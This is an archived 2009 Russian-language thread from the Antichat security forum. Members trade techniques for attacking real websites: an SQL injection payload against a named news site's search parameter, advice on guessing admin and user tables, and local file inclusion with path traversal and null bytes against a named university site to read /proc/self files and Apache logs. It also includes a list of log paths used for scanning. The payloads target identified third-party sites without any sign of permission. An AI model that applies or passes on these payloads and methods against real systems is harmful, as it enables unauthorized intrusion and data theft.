ANTICHAT — форум по информационной безопасности, OSINT и технологиям
ANTICHAT — русскоязычное сообщество по безопасности, OSINT и программированию.
Форум ранее работал на доменах antichat.ru, antichat.com и antichat.club,
и теперь снова доступен на новом адресе —
forum.antichat.xyz.
Форум восстановлен и продолжает развитие: доступны архивные темы, добавляются новые обсуждения и материалы.
⚠️ Старые аккаунты восстановить невозможно — необходимо зарегистрироваться заново.
17.06.2009, 10:53
|
|
Познающий
Регистрация: 27.03.2009
Сообщений: 40
Провел на форуме:
1191962
Репутация:
39
|
|
Сообщение от mailbrush
Спасибо. Я пробовал подставлять так - http://times.ua/search/results/?keyword=1'/*, т.е. отсечь все лишнее, но ошибка выводилась, поэтому и не подбирал.
просто и "/*" и "--" знаки начала комментария )
|
|
|
17.06.2009, 12:02
|
|
Познавший АНТИЧАТ
Регистрация: 24.06.2008
Сообщений: 1,996
Провел на форуме:
6075534
Репутация:
2731
|
|
Сообщение от Adm1n4eG
просто и "/*" и "--" знаки начала комментария )
Я знаю об этом. Я отсекал ими лишние данные, т.е. незакрытую кавычку.
|
|
|
|
17.06.2009, 08:22
|
|
Постоянный
Регистрация: 29.01.2009
Сообщений: 333
Провел на форуме:
1168802
Репутация:
298
|
|
jecka3000
в 4-х скулях подбор таблиц и колонок происходит подбором. Здесь это написано
https://forum.antichat.ru/threadnav43966-1-10.html
для автоматизации (брутфорс таблиц,колонок из словоря), можно использоваться SIPT4
что касается таблиц, в первую очередь следует проверять такие как: user, users,admin,admins,member,members,accounts,profile s,etc (если конечно, Вас интересуют эти данные  )
Последний раз редактировалось AlexSatter; 17.06.2009 в 08:34..
|
|
|
|
17.06.2009, 10:13
|
|
Познающий
Регистрация: 16.05.2009
Сообщений: 42
Провел на форуме:
190310
Репутация:
7
|
|
Хочу понять как искать логи апача через
К примеру
http://www.amp.edu.pl/eng/index.php?strona=../../../../../../../../proc/self/status%00
Name: httpd2-prefork State: R (running) SleepAVG: 88% Tgid: 14786 Pid: 14786 PPid: 5965 TracerPid: 0 Uid: 30 30 30 30 Gid: 260 260 260 260 FDSize: 64 Groups: 260 VmPeak: 148096 kB
Pid: 14786 - но при каждом обновлении страницы он меняется.
http://www.amp.edu.pl/eng/index.php?strona=../../../../../../../../proc/14786/fd/7%00
Выдаёт что такого файла нет (%{FD_ID} - пробовал менять).
Напишите эксплуатацию этой техники поподробней, пожалуйста |
|
|
|
17.06.2009, 10:58
|
|
Познавший АНТИЧАТ
Регистрация: 18.02.2008
Сообщений: 1,136
Провел на форуме:
17621293
Репутация:
4915
|
|
farpost
Ты не внимательно читал материал. Там после поста c411k идут комментарии, и я уже писал, что через PID ненадо это делать.
proc/self/ - это и есть ссылка на твой PID
а
proc/self/fd/ - директория с файлами твоего процесса
Тоесть вместо того, чтобы искать пид и заморачиваться с ним, можно обратиться напрямую.
proc/self/fd/x
x подбирай уже ручками, он числовой
|
|
|
|
17.06.2009, 11:00
|
|
Members of Antichat - Level 5
Регистрация: 09.10.2006
Сообщений: 1,698
Провел на форуме:
9098076
Репутация:
4303
|
|
farpost
pid процесаа знать не обязательно, в /proc есть ссылка "self" на текущий pid процесса
/proc/self/environ
/proc/self/fd/2
только в твоём примере прав на чтение нету
|
|
|
|
17.06.2009, 11:15
|
|
Постоянный
Регистрация: 29.01.2009
Сообщений: 333
Провел на форуме:
1168802
Репутация:
298
|
|
http://milw0rm.com/papers/341
Вот вышло достаточно неплохое если можно так выразиться HOWTO, прочитал, в общем-то понравилось, всё в одном месте.
Рекомендую прочитать, особенно новичкам. Много примеров (правда самых простых).
ну и конечно язык английский, но там всё понятно.
|
|
|
|
17.06.2009, 11:45
|
|
Познающий
Регистрация: 16.05.2009
Сообщений: 42
Провел на форуме:
190310
Репутация:
7
|
|
Вопрос такой, написал сканер для поиска логов. Взял пути из одной темы (вот кусочек).
../apache/logs/error.log
../apache/logs/access.log
../../apache/logs/error.log
../../apache/logs/access.log
../../../apache/logs/error.log
Я правильно понимаю что их все можно заменить на
../../../../../../../../../../../../../../../../../../apache/logs/error.log
Если нет то почему, ведь выше / не подняться |
|
|
|
17.06.2009, 11:56
|
|
Members of Antichat - Level 5
Регистрация: 28.05.2007
Сообщений: 729
Провел на форуме:
5571194
Репутация:
1934
|
|
Сообщение от farpost
Вопрос такой, написал сканер для поиска логов. Взял пути из одной темы (вот кусочек).
Я правильно понимаю что их все можно заменить на
Если нет то почему, ведь выше / не подняться
в никсах означает переход на каталог выше.
../../ это переход на 2 каталога выше.
Если ты хочешь просмотреть файл, выдимый из интернета, то корневая директория / - эта (site.ru /корневая)
../apache/logs/error.log
../apache/logs/access.log
../../apache/logs/error.log
../../apache/logs/access.log
../../../apache/logs/error.log
эти файлы не видны из веба!!!
Их можно прочесть, если у тебя есть php-include или sql-injection+file_priv. В этом случае путь будет выглядеть следующим образом, например, site.ru/index.php?file=../../../../apache/logs/error.log.
__________________
Появляюсь редко. Важные дела в реале.
|
|
|
|
17.06.2009, 11:48
|
|
Постоянный
Регистрация: 29.01.2009
Сообщений: 333
Провел на форуме:
1168802
Репутация:
298
|
|
../../ - их количество зависит от того, насколько глубоко у вас засунут сайт.
Т.е. их количество на разных хостингах не статично 
ответ: можно |
|
|
|
|
 |
|
|
Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
|
|
|
|
Похожие темы
Комбинированный вид